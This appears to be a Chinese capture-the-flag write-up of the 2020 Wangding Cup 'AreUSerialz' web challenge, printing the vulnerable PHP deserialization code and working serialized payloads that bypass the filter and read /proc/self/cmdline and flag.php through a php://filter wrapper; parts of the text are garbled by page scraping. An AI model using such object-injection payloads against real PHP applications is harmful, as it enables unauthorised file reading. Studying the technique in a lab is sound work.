网鼎杯2020 web题 writeup

AreUSerialz(反序列化)

题目源代码



include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: 
"
; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }

wp

主要需要绕过is_valid()函数。protected类型被序列化后包含不可见字符串\00。无法通过is_valid()函数。可通过将\00修改为空给绕过。

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

主要函数

析构函数:

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

process():

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

read():

   private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

分析:
通过read()来读取我们想要的文件:如果 t h i s − > o p = = = " 2 " 则 this->op === "2"则 this>op==="2"this->op为"1",process函数中op=='2’才会执行read()

__destruct()方法内使用了严格相等 t h i s − > o p = = = " 2 " p r o c e s s ( ) 方 法 内 使 用 了 不 严 格 相 等 e l s e i f ( this->op === "2" process()方法内使用了不严格相等else if ( this>op==="2"process()使elseif(this->op == “2”)
op = 2 绕过

构造序列化的payload:
读取cmdline,获取网站配置文件目录,获得web目录路径

http://6eeb32392e9e492dbdc5c97c46cc5b3eb9d650428fe2460d.cloudgame1.ichunqiu.com/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:18:%22/proc/self/cmdline%22;s:7:%22content%22;N;}

结果
在这里插入图片描述

http://6eeb32392e9e492dbdc5c97c46cc5b3eb9d650428fe2460d.cloudgame1.ichunqiu.com/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:18:%22/proc/self/cmdline%22;s:7:%22content%22;N;}

网鼎杯2020 web题 writeup_第1张图片
找到路径
在这里插入图片描述
最终payload 用伪协议读出flag.php

/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:7:"content";N;}

base64 flag:
在这里插入图片描述
解出来即可得到flag

你可能感兴趣的:(web)